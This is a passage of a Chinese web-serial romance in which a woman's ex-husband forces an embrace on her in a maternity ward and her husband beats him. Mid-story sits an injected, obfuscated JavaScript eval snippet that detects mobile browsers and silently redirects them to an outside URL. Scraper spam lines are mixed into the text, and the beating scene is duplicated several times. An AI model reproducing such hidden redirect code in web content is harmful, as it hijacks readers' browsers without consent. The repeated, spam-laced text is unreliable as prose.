周时越喉结滚动了一下,往前走了一步,声音沙哑得厉害,“衿衿……我听说你生了,龙凤胎……恭喜。” 他的目光不由自主地又飘向保温箱里的两个孩子,眼神复杂。 “谢谢。”岑予衿的回答简短而客套,带着明显的逐客意味,“不过这里不方便接待客人,我先生刚出去,很快回来。周少还是请回吧,你太太那边……不是更需要你吗?” 提到林舒薇,周时越的脸色明显白了一下,眼底掠过一丝痛苦和挣扎。 他像是没听见岑予衿后面的话,又往前挪了半步,目光紧紧锁着她,“我……我就是想来看看你。你还好吗?生产顺利吗?有没有……” “周时越。”岑予衿打断他,语气加重,带着一种难以置信的烦躁,“你到底想干什么?跑到我一个刚生完孩子的产妇病房里,问我好不好?你是以什么立场,什么身份来问这句话的?” 她看着他脸上那种混杂着关切、愧疚和某种说不清道不明情绪的表情。 只觉得一股无名火蹭地冒了上来,比伤口的疼痛更让她难以忍受。 “你脑子是不是不清醒?”岑予衿的声音因气愤而微微发颤,她努力控制着音量,怕吵醒孩子,但每个字都咬得很重。 “你看看现在是什么情况!你,周时越,一个有妇之夫,你的妻子刚刚经历意外,孩子可能不保,人还在抢救室里生死未卜!而你,不在手术室外守着她,不在周家处理那一堆烂摊子,却跑到你前妻这儿算什么事儿?” 她深吸一口气,眼神却更加锐利,“你觉得这合适吗?你觉得我该感动吗?还是你觉得,我现在看起来很需要你的关心?” 周时越被她一连串的质问钉在原地,脸色一阵红一阵白。 他想解释,想说林舒薇那边有他母亲和医生守着,想说周家的事情他暂时顾不上。 想说……他只是控制不住地想确认她是否安好。 可所有的话在岑予衿清醒而冰冷的注视下,都显得如此苍白可笑,甚至卑劣。 “我……”他张了张嘴,却发现无从辩驳。 “你什么你?”岑予衿简直要气笑了,但更多的是心寒和一种深深的疲惫。 “周时越,我们之间早就结束了。结束得干干净净,彻彻底底,你现在这副样子做给谁看?同情?愧疚?还是你那毫无意义的‘深情’?” 她摇了摇头,眼神里最后一丝温度也消失了,“我告诉你,我不需要。我现在很好,非常非常好。我有疼我爱我的丈夫,有健康可爱的儿女,我们的生活正在走向正轨,没有一丝一毫的位置留给你和你的那些过往纠葛。请你,立刻,马上,离开我的病房,回到你该待的地方去。” 她顿了顿,看着周时越眼中碎裂的光芒和摇摇欲坠的身形,没有丝毫心软,反而更觉得厌烦,冷冷地吐出最后一句。 “别再出现在我面前,做这种让人误会又恶心的事。周时越,你真的……有病。” 第229章 你是我老婆 最后三个字,她说得很轻,却像一把淬了冰的刀子,精准地扎进了周时越的心脏。 他踉跄了一下,扶住门框才勉强站稳,脸上血色尽失。 他看着她决绝的再无半分留恋的脸,终于意识到,有些门关上了,就真的再也打不开了。 有些路走错了,就真的无法回头了。 说实话,他早就知道了。 他早就知道没有回头的余地了。 可是还是忍不住。 知道她生了宝宝,还是会忍不住来看她。 她那么怕疼的一个人是怎么坚持下来的? 他嘴唇翕动,最终什么也没能再说出来。 只是,像是想起了什么,他僵硬地抬起一直垂在身侧的另一只手。 那只手里,紧紧攥着一个看似不起眼的纸袋,指节因为用力而泛白。 他颤抖着手,从纸袋里拿出两个小小的深红色的丝绒盒子。 盒子打开,里面静静地躺着两套小巧精致的金饰,一对雕刻着祥云如意纹的小金锁,两对同样花纹的小金镯子,在病房不甚明亮的光线下,闪着温润却刺眼的光。 “我……他的声音干涩得像是砂纸磨过,“我知道我不配……但,这是给孩子们的……一点心意。祝他们……平平安安,健健康康的长大。 他上前一步,小心翼翼地将两个盒子放在离岑予衿最近的床头柜边缘,动作近乎虔诚,却又带着一种卑微的祈求。 岑予衿的目光落在那两套金饰上,没有半分感动,只有被冒犯的怒火和深深的厌恶,瞬间席卷了她。 这东西,这不合时宜的“心意,比周时越本人站在这里更让她觉得恶心! 它像是一个试图强行挤入她崭新生活的、来自过去的肮脏印记。 “拿走!她几乎是低吼出声,因为动作太急,扯到了,让她脸色更白,但她强忍着,伸手猛地一挥! “啪嗒! “哐当! 两个丝绒盒子被她扫落在地。 小金锁和小金镯子从盒子里滚出来,散落在冰凉的地砖上,发出清脆却孤零零的响声。 “谁稀罕你的东西?留给你自己的孩子吧。岑予衿胸口剧烈起伏,眼神冰冷如霜,直直刺向瞬间僵住的周时越。 “周时越,你以为送点平安锁,就能弥补什么?就能让你自己心里好过一点?还是你觉得,用这种东西,就能跟我,跟我的孩子扯上一点点关系? 她喘着气,每一个字都带着毫不留情的锋利, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “我孩子的平安喜乐自有他们的父亲所有真心爱他们的人来祝愿和守护!轮不到你一个连自己妻子和孩子都顾不上、跑到这里来惺惺作态的外人来假惺惺地送什么‘心意’!” “带着你的东西滚!”她指着地上散落的金饰指尖都在发颤“别脏了我的地方也别想用这种东西玷污我孩子的人生起点!” 周时越整个人像被抽走了魂魄怔怔地看着地上那些他精心挑选、承载着他复杂难言祝福的金饰又抬头看向岑予衿因愤怒而愈发显得苍白的脸。 她眼中的厌恶和决绝比任何利刃都更能伤人。 他最后一丝支撑也被彻底击溃。 他慢慢地、极其缓慢地弯下腰捡起那两个空了的丝绒盒又将散落的金锁金镯一个个捡起放回盒中。 动作机械手指冰冷。 “衿衿要是我没有失忆我们是不是已经结婚了?是不是也有了这么可爱的宝宝。” “回不去了吗?真的回不去了吗?” 岑予衿听到这话像是听到了天大的笑话嘴角勾起一抹冰冷又讥诮的弧度那笑意却半点没抵达眼底只透着刺骨的寒意。 “回不去?周时越你居然还有脸提回不去?” 她的声音陡然拔高带着被触及逆鳞的尖锐每一个字都像是从牙缝里挤出来的。 “你失忆的那几年我像个疯子一样满世界找你我守着周家的烂摊子我顶着所有人的指指点点我以为你**我抱着你的遗物哭到喘不过气的时候你在哪里?” 她的胸口剧烈起伏着眼底漫上一层薄薄的红却不是因为难过而是因为极致的愤怒。 “你在另一个女人的温柔乡里过着无忧无虑的新生活你甚至忘了自己叫什么 “我喜欢过你?是我曾经是喜欢你我曾经以为你是我的天是我的命!” 她字字诛心像是一把把淬了毒的**精准地往周时越最痛的地方扎。 “可那又怎么样?那是曾经的岑予衿!现在的我周芙笙是陆京洲的妻子是两个孩子的妈妈!我和你之间早就被你亲手斩断了所有的路连一点回头的余地都没有!” 她深吸一口气压下喉咙里的哽咽眼神冷得像冰。 “你以为我为什么这么恨你?不是因为你失忆是因为你醒来之后你明明有机会来找我找自己的身份你却没有! 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 你任由我像个傻子一样守着空念想了那么多年!你现在拿着这些东西来惺惺作态,你是想赎罪,还是想让我念你的好?别做梦了!” “还有,”她的声音陡然压低,带着一丝不易察觉的慌乱,却又强行绷出狠厉。 “我告诉你周时越,我和陆京洲很好,好得不能再好!我不想因为你,让他有半分误会!你给我记住,从今往后,你就是我岑予衿的陌生人,是老死不相往来的外人!” 她指着病房门,指尖因为用力而泛白,“现在,立刻,马上带着你的东西滚!别让我再说第二遍!否则,我不介意让陆京洲亲自来送你走!到时候,你可就不是这么体面地离开了!” 周时越的身体晃了晃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17061343|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,脸色白得像纸,他看着岑予衿那双淬满寒意的眼睛,里面再也找不到半分过去的情意,只剩下厌恶和决绝。 他张了张嘴,喉咙里像是堵了一团棉花,一个字也说不出来。 他手里的丝绒盒子像是有千斤重,坠得他手腕发颤。 那些精致的金锁金镯,此刻像是一个个嘲讽的符号,刺得他眼睛生疼。 “我……”他艰难地吐出一个字,却又被岑予衿冰冷的眼神堵了回去。 “滚!”岑予衿厉声喝道,声音里带着一丝不易察觉的颤抖,她怕,怕再拖下去,陆京洲就回来了。 她不敢想象,要是陆京洲看到这一幕,会是什么反应。 那件事,她必须亲口告诉他,绝不能是从别人嘴里,更不能是在这种难堪的场景下。 周时越定定地看着她,那双曾经盈满对他依赖和爱意的眼睛,此刻只剩下冰冷的厌恶和急于摆脱的焦躁。 她一口一个“陆京洲”,像一把把烧红的烙铁,烫得他五脏六腑都在抽搐。 “滚……”这个字像最后一根稻草,压垮了他本就摇摇欲坠的理智。 不,不能滚!她是衿衿! 是他的衿衿!是他明媒正娶,曾经承诺要护一辈子的人! 什么陆京洲,什么陌生人,都是假的! 骗人的! “你骗人!”周时越猛地抬头,眼中布满了血丝,像是困兽最后的挣扎。 他手里的丝绒盒子“啪”地一声掉在地上,金饰再次散落,他却看也不看。 他像一个被绝望和执念控制的疯子,猛地往前一扑。 在岑予衿惊恐到来不及反应的目光中,张开手臂,死死地抱住了她! “你不是周芙笙!你是衿衿!是我的岑予衿!” 他双臂如铁箍,不顾她伤口可能被碰到,不顾她的挣扎和痛呼,只将脸埋在她颈窝。 贪婪又绝望地汲取着那一点点熟悉又陌生的气息,声音嘶哑破碎,一遍又一遍地重复,像是要催眠自己,也像是要戳穿她的谎言。 “你是我的老婆!是我的!是我周时越明媒正娶的妻子!你最爱我了,你忘了吗?你说过要永远陪着我的!你骗人!你说谎! 你只是生我的气了对不对?是因为我忘了你,是因为我娶了别人……我错了,衿衿,我真的知道错了!你别不要我……你是我的!是我的!” 他抱得那么紧,紧得岑予衿几乎窒息。 腹部的伤口被挤压,传来一阵尖锐的剧痛,让她眼前发黑。 更让她恐惧的是他话语里透出的疯狂和那股不顾一切的占有欲。 “放开我!周时越你疯了!松手!”岑予衿又惊又怒,拼命推拒着他,指甲划过他的手臂,留下红痕,他却浑然不觉。 她甚至能感受到他滚烫的眼泪落在她颈侧的皮肤上,那湿热的触感只让她觉得毛骨悚然。 第230章 岑家大小姐岑予衿 “你是岑予衿……是我的岑予衿,是我的老婆……不是周芙笙,你不是周芙笙,你不是别人的老婆……” 他一遍遍地重复着,声音嘶哑,近乎魔怔,滚烫的呼吸喷在她的颈侧,带着一种近乎偏执的确认。 手臂越收越紧,仿佛要将她整个人揉碎了,嵌进自己的骨血里,好证明她的存在,证明她仍是属于他的。 岑予衿疼得冷汗涔涔,身上的剧痛让她眼前阵阵发黑,呼吸也变得困难。 更深的,是心底翻涌而上的恐惧和恶心。 他话语里那种不容置疑的占有,那种强行将时光拨回过去的疯狂,让她不寒而栗。 “放开……周时越!你弄疼我了!我不是!我已经不是了!” 她咬着牙,用尽全身力气去推他、捶打他,声音因疼痛和愤怒而颤抖,“你看清楚!我是周芙笙!我和陆京洲结了婚,法律上、名义上、事实上,我都是他的妻子!我们有了两个孩子!放开!” “不……不是的……你骗我……你们都骗我……”周时越猛地摇头,头发蹭过她的脸颊,他稍稍松开一点,却又立刻更紧地箍住。 通红的眼睛死死盯着她近在咫尺的、因愤怒而苍白的脸,试图从上面找到一丝一毫过去的、属于他的柔情。 “衿衿,我真的错了,但是你不能否认你自己的身份,你就是我周时越明媒正娶的老婆,岑家大小姐岑予衿!” 花瓣散落的声响在凝滞的空气里格外刺耳。 像是一把钝刀划破了室内紧绷到极致的僵局。 岑予衿浑身一僵,捶打周时越的动作骤然停住,脖颈间滚烫的呼吸也随之顿了顿。 她猛地偏过头,视线穿过半开的门缝,撞进陆京洲深不见底的眼眸里。 那双眼眸素来盛满了温和与纵容,此刻却像是被骤雨打湿的寒潭,翻涌着震惊、错愕,还有一丝她不敢深究的痛楚。 他身形挺拔地立在门口,西装熨帖得一丝不苟,平日里总是打理得恰到好处的发丝微微凌乱,显然是刚从外面回来,指尖还残留着握过花茎的痕迹。 那些精心挑选的白玫瑰散了一地,沾着灰尘,如同被打碎的温柔。 周时越也循着声响转过头,通红的眼瞳里还残留着偏执的疯狂,看清门口的人时。 他非但没有丝毫松开岑予衿的意思,反而箍得更紧了些,像是在宣示**般,将岑予衿往自己怀里又按了按。 “陆京洲?”他扯了扯嘴角,声音嘶哑得像是砂纸摩擦,带着毫不掩饰的敌意与 挑衅,“你来的正好,省得我再找你。把我的人还给我。” 岑予衿的心沉到了谷底,挣扎着想要挣脱,却被周时越死死禁锢。 她看着陆京洲的目光一点点冷下去,从最初的震惊转为一种压抑的平静,那种平静比任何激烈的情绪都更让她心慌。 “周时越,”陆京洲的声音很轻,却带着一种不容置喙的力量,穿透了室内的混乱,“松开她。” 他没有上前,只是缓缓弯腰,捡起一朵被踩得有些变形的白玫瑰,指尖捏着花瓣的力道让指节微微泛白。 散落的花瓣沾着他的裤脚,像是无声的嘲讽。 他的目光掠过岑予衿苍白汗湿的脸,掠过她脖颈间因挣扎而泛起的红痕,最后落在周时越那双疯狂的眼睛上,语气冷得像冰,“她现在是我的妻子,陆太太。你口中的岑予衿,早在一年前就已经‘死’了。” “你放屁!”周时越低吼出声,眼底的红血丝更盛,“她活着!她就在我怀里!陆京洲,是你趁虚而入,是你把她从我身边抢走,你这个小偷!她爱的人永远只有我一个。” “小偷?”陆京洲轻笑一声,那笑声里带着无尽的寒凉,“当年是谁把她弃之如敝履,让她在绝望中差点丢了性命?是谁在她最需要依靠的时候,搂着别的女人风花雪月?周时越,你有什么资格站在这里,说她是你的人?” 他一步步走进来,每一步都像是踩在周时越的神经上。 岑予衿能感觉到怀抱着自己的手臂在微微颤抖,不是害怕,而是极致的愤怒与不甘。 “衿衿,你告诉她,”周时越低下头,额头抵着岑予衿的额头,语气近乎哀求,又带着偏执的强硬。 “你心里爱的人是我,对不对?你只是被他胁迫,你只是一时糊涂!我们重新开始,好不好?” 岑予衿偏过头,避开他的目光,眼眶泛红。 她看着陆京洲,看着他眼底那抹极力掩饰的受伤,心脏像是被一只无形的手紧紧攥住,疼得喘不过气。 “周时越,你醒醒。”她的声音带着哭腔,却异常坚定,“我和你之间,早在你选择放弃我的那一刻,就结束了。我是周芙笙,是陆京洲的妻子,是两个孩子的母亲。这是事实,永远都不会改变。” 陆京洲走到他们面前,停下脚步。 他没有去看周时越,只是深深地看着岑予衿,目光温柔而坚定,像是在给她力量,也像是在自我确认。 “笙笙。”他轻声唤她的名字,声音里带着一丝不易察觉的沙哑,“别怕,我在。 ” 周时越猛地抬头,看向陆京洲,眼神凶狠如狼,“陆京洲,你别想把她从我身边抢走!她是我的!谁也不能抢!” 他说着,手臂再次收紧,岑予衿疼得闷哼一声,脸色愈发苍白。 陆京洲的眼神瞬间冷了下来,周身散发出强烈的压迫感。 “我再说最后一次,”他的声音低沉而危险,“松开她。” 周时越像是没听见,反而将岑予衿往身后拉了拉,摆出一副防御的姿态。 室内的气氛再次降到冰点,剑拔**张,仿佛下一秒就会爆发激烈的冲突。 陆京洲的眼神彻底沉了下去。 那声压抑的闷哼像一根细针,刺破了他最后一丝克制。 他不再多说一个字,甚至没给周时越反应的时间,身形猛地向前,快得只剩一道残影。 不是拉扯,不是推搡。 是精准而暴烈的抢夺。 他一手扣住周时越紧箍着岑予衿的那条手臂的关节处,拇指狠按下去。 另一只手同时揽住岑予衿的腰,以一种不容抗拒的力道和角度,硬生生将人从周时越怀里剥离出来。 动作迅捷,带着一种经过训练般的冷静狠厉。 岑予衿只觉天旋地转,瞬间落入一个熟悉的怀抱,那怀抱带着室外的微凉气息,却比周时越滚烫的禁锢让她安心万倍。 陆京洲甚至没有停顿,将她打横抱起,大步走向病房里侧的病床,动作看似急切,落下时却异常轻柔,将她妥帖地安置在柔软的床铺上,拉过被子盖到她肩头。 整个过程,他的目光始终没有离开岑予衿苍白的脸,确认她暂时安全。 然后,他转过身。 周时越被那一下擒拿逼退两步,关节处的剧痛让他手臂发麻。 还没来得及从人被抢走的震惊和暴怒中回神,迎面而来的,是裹挟着凌厉风势的一拳。 那不是普通的打架。 陆京洲的拳头带着压抑了很久的怒意,刚才亲耳听到的那些话,以及一种濒临失控的冰冷暴戾,结结实实砸在周时越的颧骨上。 “砰!” 沉闷的肉体撞击声在病房里炸开。 周时越整个人被打得踉跄着向后仰倒,撞在冰冷的墙壁上,发出一声巨响。 口腔里瞬间弥漫开铁锈般的腥甜,耳朵嗡嗡作响,眼前金星乱冒。 陆京洲没有停。 他甚至没有给周时越喘息的机会,一步上前,揪住他的衣领将他从墙上拽起,第二拳紧跟着砸 向他的腹部。 “这一拳,是替她打的。”陆京洲的声音压得极低,像冰层下的暗流,只有近在咫尺的周时越能听清,“打你当年有眼无珠,把她往火坑里推。” 周时越痛得弯下腰,胃里翻江倒海。 陆京洲的手肘随即抬起,狠狠撞向他的背心。 “这一下,是替我自己。”陆京洲的眼神黑得骇人,“打你阴魂不散,至今还敢碰她。” 周时越闷哼一声,几乎跪倒在地。 陆京洲却再次将他提起,拳头如雨点般落下,不再说话,每一拳都带着狠绝的力道。 砸在肩膀、胸膛、侧腹…… 避开致命的要害,却拳拳到肉,尽是令人痛苦的部位。 他像是要将这些年积攒的所有冰冷怒意,所有后怕,所有被“岑予衿”三个字挑起的隐痛,全都倾泻出来。 周时越起初还想反抗,但陆京洲的动作太快,太狠,太不留余地,很快他就只剩下招架和忍受的份。 蜷缩着身体,只有粗重痛苦的喘息和压抑不住的闷哼。 “陆京洲!别打了!”岑予衿从最初的惊骇中回过神,挣扎着想要下床,声音发颤。 她从未见过这样的陆京洲,像是撕开了矜贵的外皮,露出了内里凛冽冰冷的钢铁爪牙。 陆京洲的拳头,在听到她带着哭腔的呼喊时,悬在了半空。 他胸膛剧烈起伏,呼吸粗重,手背上骨节处已然破皮,渗出血丝。 他低头看着脚下狼狈不堪、嘴角溢血的周时越,眼中的疯狂血色缓缓褪去,取而代之的是一片深寒的废墟。 他松开手,任由周时越滑倒在地。 他转身,走回床边,没有立刻去碰岑予衿,而是从床头抽了几张纸巾,慢条斯理地擦拭自己手上的血迹。 他的动作恢复了惯有的从容,甚至有些过于仔细,只是指尖微微的颤抖泄露了方才的激烈。 擦干净手,他才在床边坐下,伸手,轻轻拂开岑予衿额前被冷汗浸湿的头发,指尖冰凉。 “有没有伤到?”他问,声音已经恢复了平静,只是仔细听,能辨出一丝不易察觉的紧绷。 岑予衿看着他,又看向地上挣扎着想要爬起的周时越,摇了摇头,眼泪却不受控制地滚落下来。 陆京洲叹了口气,将她揽入怀中,大手轻抚着她的后背,在她耳边低语,语气是截然不同的温柔,却带着不容置疑的决断,“别看了,笙笙。都结束了。” 他抬眼,望向勉强撑起身、满眼怨毒不甘的周时越,目光如冰冷的刀锋。 “周时越,这是我最后一次容忍你出现在她面前。从今往后,你若再敢靠近她一步,碰她一下,” 他顿了顿,一字一句,清晰无比,“我会让你知道,什么叫真正的‘失去一切’。” “现在,滚!” 向他的腹部。 “这一拳,是替她打的。”陆京洲的声音压得极低,像冰层下的暗流,只有近在咫尺的周时越能听清,“打你当年有眼无珠,把她往火坑里推。” 周时越痛得弯下腰,胃里翻江倒海。 陆京洲的手肘随即抬起,狠狠撞向他的背心。 “这一下,是替我自己。”陆京洲的眼神黑得骇人,“打你阴魂不散,至今还敢碰她。” 周时越闷哼一声,几乎跪倒在地。 陆京洲却再次将他提起,拳头如雨点般落下,不再说话,每一拳都带着狠绝的力道。 砸在肩膀、胸膛、侧腹…… 避开致命的要害,却拳拳到肉,尽是令人痛苦的部位。 他像是要将这些年积攒的所有冰冷怒意,所有后怕,所有被“岑予衿”三个字挑起的隐痛,全都倾泻出来。 周时越起初还想反抗,但陆京洲的动作太快,太狠,太不留余地,很快他就只剩下招架和忍受的份。 蜷缩着身体,只有粗重痛苦的喘息和压抑不住的闷哼。 “陆京洲!别打了!”岑予衿从最初的惊骇中回过神,挣扎着想要下床,声音发颤。 她从未见过这样的陆京洲,像是撕开了矜贵的外皮,露出了内里凛冽冰冷的钢铁爪牙。 陆京洲的拳头,在听到她带着哭腔的呼喊时,悬在了半空。 他胸膛剧烈起伏,呼吸粗重,手背上骨节处已然破皮,渗出血丝。 他低头看着脚下狼狈不堪、嘴角溢血的周时越,眼中的疯狂血色缓缓褪去,取而代之的是一片深寒的废墟。 他松开手,任由周时越滑倒在地。 他转身,走回床边,没有立刻去碰岑予衿,而是从床头抽了几张纸巾,慢条斯理地擦拭自己手上的血迹。 他的动作恢复了惯有的从容,甚至有些过于仔细,只是指尖微微的颤抖泄露了方才的激烈。 擦干净手,他才在床边坐下,伸手,轻轻拂开岑予衿额前被冷汗浸湿的头发,指尖冰凉。 “有没有伤到?”他问,声音已经恢复了平静,只是仔细听,能辨出一丝不易察觉的紧绷。 岑予衿看着他,又看向地上挣扎着想要爬起的周时越,摇了摇头,眼泪却不受控制地滚落下来。 陆京洲叹了口气,将她揽入怀中,大手轻抚着她的后背,在她耳边低语,语气是截然不同的温柔,却带着不容置疑的决断,“别看了,笙笙。都结束了。” 他抬眼,望向勉强撑起身、满眼怨毒不甘的周时越,目光如冰冷的刀锋。 “周时越,这是我最后一次容忍你出现在她面前。从今往后,你若再敢靠近她一步,碰她一下,” 他顿了顿,一字一句,清晰无比,“我会让你知道,什么叫真正的‘失去一切’。” “现在,滚!” 向他的腹部。 “这一拳,是替她打的。”陆京洲的声音压得极低,像冰层下的暗流,只有近在咫尺的周时越能听清,“打你当年有眼无珠,把她往火坑里推。” 周时越痛得弯下腰,胃里翻江倒海。 陆京洲的手肘随即抬起,狠狠撞向他的背心。 “这一下,是替我自己。”陆京洲的眼神黑得骇人,“打你阴魂不散,至今还敢碰她。” 周时越闷哼一声,几乎跪倒在地。 陆京洲却再次将他提起,拳头如雨点般落下,不再说话,每一拳都带着狠绝的力道。 砸在肩膀、胸膛、侧腹…… 避开致命的要害,却拳拳到肉,尽是令人痛苦的部位。 他像是要将这些年积攒的所有冰冷怒意,所有后怕,所有被“岑予衿”三个字挑起的隐痛,全都倾泻出来。 周时越起初还想反抗,但陆京洲的动作太快,太狠,太不留余地,很快他就只剩下招架和忍受的份。 蜷缩着身体,只有粗重痛苦的喘息和压抑不住的闷哼。 “陆京洲!别打了!”岑予衿从最初的惊骇中回过神,挣扎着想要下床,声音发颤。 她从未见过这样的陆京洲,像是撕开了矜贵的外皮,露出了内里凛冽冰冷的钢铁爪牙。 陆京洲的拳头,在听到她带着哭腔的呼喊时,悬在了半空。 他胸膛剧烈起伏,呼吸粗重,手背上骨节处已然破皮,渗出血丝。 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陆京洲叹了口气,将她揽入怀中,大手轻抚着她的后背,在她耳边低语,语气是截然不同的温柔,却带着不容置疑的决断,“别看了,笙笙。都结束了。” 他抬眼,望向勉强撑起身、满眼怨毒不甘的周时越,目光如冰冷的刀锋。 “周时越,这是我最后一次容忍你出现在她面前。从今往后,你若再敢靠近她一步,碰她一下,” 他顿了顿,一字一句,清晰无比,“我会让你知道,什么叫真正的‘失去一切’。” “现在,滚!” 向他的腹部。 “这一拳,是替她打的。”陆京洲的声音压得极低,像冰层下的暗流,只有近在咫尺的周时越能听清,“打你当年有眼无珠,把她往火坑里推。” 周时越痛得弯下腰,胃里翻江倒海。 陆京洲的手肘随即抬起,狠狠撞向他的背心。 “这一下,是替我自己。”陆京洲的眼神黑得骇人,“打你阴魂不散,至今还敢碰她。” 周时越闷哼一声,几乎跪倒在地。 陆京洲却再次将他提起,拳头如雨点般落下,不再说话,每一拳都带着狠绝的力道。 砸在肩膀、胸膛、侧腹…… 避开致命的要害,却拳拳到肉,尽是令人痛苦的部位。 他像是要将这些年积攒的所有冰冷怒意,所有后怕,所有被“岑予衿”三个字挑起的隐痛,全都倾泻出来。 周时越起初还想反抗,但陆京洲的动作太快,太狠,太不留余地,很快他就只剩下招架和忍受的份。 蜷缩着身体,只有粗重痛苦的喘息和压抑不住的闷哼。 “陆京洲!别打了!”岑予衿从最初的惊骇中回过神,挣扎着想要下床,声音发颤。 她从未见过这样的陆京洲,像是撕开了矜贵的外皮,露出了内里凛冽冰冷的钢铁爪牙。 陆京洲的拳头,在听到她带着哭腔的呼喊时,悬在了半空。 他胸膛剧烈起伏,呼吸粗重,手背上骨节处已然破皮,渗出血丝。 他低头看着脚下狼狈不堪、嘴角溢血的周时越,眼中的疯狂血色缓缓褪去,取而代之的是一片深寒的废墟。 他松开手,任由周时越滑倒在地。 他转身,走回床边,没有立刻去碰岑予衿,而是从床头抽了几张纸巾,慢条斯理地擦拭自己手上的血迹。 他的动作恢复了惯有的从容,甚至有些过于仔细,只是指尖微微的颤抖泄露了方才的激烈。 擦干净手,他才在床边坐下,伸手,轻轻拂开岑予衿额前被冷汗浸湿的头发,指尖冰凉。 “有没有伤到?”他问,声音已经恢复了平静,只是仔细听,能辨出一丝不易察觉的紧绷。 岑予衿看着他,又看向地上挣扎着想要爬起的周时越,摇了摇头,眼泪却不受控制地滚落下来。 陆京洲叹了口气,将她揽入怀中,大手轻抚着她的后背,在她耳边低语,语气是截然不同的温柔,却带着不容置疑的决断,“别看了,笙笙。都结束了。” 他抬眼,望向勉强撑起身、满眼怨毒不甘的周时越,目光如冰冷的刀锋。 “周时越,这是我最后一次容忍你出现在她面前。从今往后,你若再敢靠近她一步,碰她一下,” 他顿了顿,一字一句,清晰无比,“我会让你知道,什么叫真正的‘失去一切’。” “现在,滚!” 向他的腹部。 “这一拳,是替她打的。”陆京洲的声音压得极低,像冰层下的暗流,只有近在咫尺的周时越能听清,“打你当年有眼无珠,把她往火坑里推。” 周时越痛得弯下腰,胃里翻江倒海。 陆京洲的手肘随即抬起,狠狠撞向他的背心。 “这一下,是替我自己。”陆京洲的眼神黑得骇人,“打你阴魂不散,至今还敢碰她。” 周时越闷哼一声,几乎跪倒在地。 陆京洲却再次将他提起,拳头如雨点般落下,不再说话,每一拳都带着狠绝的力道。 砸在肩膀、胸膛、侧腹…… 避开致命的要害,却拳拳到肉,尽是令人痛苦的部位。 他像是要将这些年积攒的所有冰冷怒意,所有后怕,所有被“岑予衿”三个字挑起的隐痛,全都倾泻出来。 周时越起初还想反抗,但陆京洲的动作太快,太狠,太不留余地,很快他就只剩下招架和忍受的份。 蜷缩着身体,只有粗重痛苦的喘息和压抑不住的闷哼。 “陆京洲!别打了!”岑予衿从最初的惊骇中回过神,挣扎着想要下床,声音发颤。 她从未见过这样的陆京洲,像是撕开了矜贵的外皮,露出了内里凛冽冰冷的钢铁爪牙。 陆京洲的拳头,在听到她带着哭腔的呼喊时,悬在了半空。 他胸膛剧烈起伏,呼吸粗重,手背上骨节处已然破皮,渗出血丝。 他低头看着脚下狼狈不堪、嘴角溢血的周时越,眼中的疯狂血色缓缓褪去,取而代之的是一片深寒的废墟。 他松开手,任由周时越滑倒在地。 他转身,走回床边,没有立刻去碰岑予衿,而是从床头抽了几张纸巾,慢条斯理地擦拭自己手上的血迹。 他的动作恢复了惯有的从容,甚至有些过于仔细,只是指尖微微的颤抖泄露了方才的激烈。 擦干净手,他才在床边坐下,伸手,轻轻拂开岑予衿额前被冷汗浸湿的头发,指尖冰凉。 “有没有伤到?”他问,声音已经恢复了平静,只是仔细听,能辨出一丝不易察觉的紧绷。 岑予衿看着他,又看向地上挣扎着想要爬起的周时越,摇了摇头,眼泪却不受控制地滚落下来。 陆京洲叹了口气,将她揽入怀中,大手轻抚着她的后背,在她耳边低语,语气是截然不同的温柔,却带着不容置疑的决断,“别看了,笙笙。都结束了。” 他抬眼,望向勉强撑起身、满眼怨毒不甘的周时越,目光如冰冷的刀锋。 “周时越,这是我最后一次容忍你出现在她面前。从今往后,你若再敢靠近她一步,碰她一下,” 他顿了顿,一字一句,清晰无比,“我会让你知道,什么叫真正的‘失去一切’。” “现在,滚!” 第231章 她爱的是我周时越 地上,周时越用手背狠狠蹭过嘴角,抹开一片刺目的血红。 他没有爬起来,反而低低地笑起来,笑声嘶哑破碎,带着血沫。 “结束?让我滚!陆京洲……你怕了,对不对?”他咳了两声,抬眼,布满血丝的眼睛直勾勾盯着床边相拥的两人,尤其是陆京洲瞬间绷紧的下颌线。 “你听说过,是吧?听说我们从小一起长大,我是她第一个喜欢的人,她也是我唯一想娶的人。” 周时越每说一个字,都牵扯着脸上的伤,疼得吸气,可话里的恶意和某种病态的炫耀却愈发浓烈。 “为了娶她,我跟家里闹翻,在周家祠堂跪了整整三天三夜,直到老爷子点头……她呢?” “我当年出事坠海,所有人都说我**,只有她不信。岑家大小姐,金枝玉叶,放下身段,像个疯子一样找了我三年,喝酒应酬,喝到胃出血进医院,就为了守住我当时那点摇摇欲坠的公司基业……怕它垮了,我回来没个依靠……” 他声音不高,却字字句句,像淬了毒的针,精准地扎向陆京洲心底最隐秘的恐惧。 陆京洲拥着岑予衿的手臂,几不可察地收紧了一瞬。 他下颌的线条绷得像一块冷硬的石头。 这些往事,他确实听说过。 从旁人零碎的感慨,从那些他不愿去深究的过往缝隙里。 他怕吗? 是的,他怕。 他怕那些深入骨髓的旧时光,怕那长达二十年的朝夕相伴,怕那份可以为之跪祠堂、为之生死不顾的浓烈爱意。 他拥有的,是她“死”后重生、被他小心翼翼捧在手心呵护的一年时光。 而周时越拥有的,是她全部鲜活炽热、毫无保留的青春和初恋。 “陆京洲,你算什么呢?”周时越看着他细微的反应,像是抓住了致命的把柄,笑得更加猖狂,也更加凄厉。 “你不过是在她心死如灰、走投无路的时候,捡到了一个破碎的岑予衿!你趁虚而入,用温柔,用孩子,把她拴在身边!可你改变不了事实,没有人比我们更相爱过!那份爱刻在骨子里,融在血里!你抹不掉!” 周时越看着他痛苦的样子,更加猖狂了。 “你见过她最鲜活的样子吗?十八岁生日,她穿着我送的裙子,在月光下转圈,说非我不嫁。” “你经历过她最执拗的疯狂吗?我失踪那三年,她是怎么过的? 听说她翻遍了沿海每一座医院,对着认不出的尸体一遍遍确认,一次次崩溃 